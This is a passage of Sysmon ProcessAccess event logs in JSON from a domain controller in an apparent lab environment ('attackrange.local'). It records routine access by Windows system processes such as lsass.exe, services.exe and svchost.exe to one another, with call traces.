C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1116\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1116","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1120\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1120","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1124\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1124","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 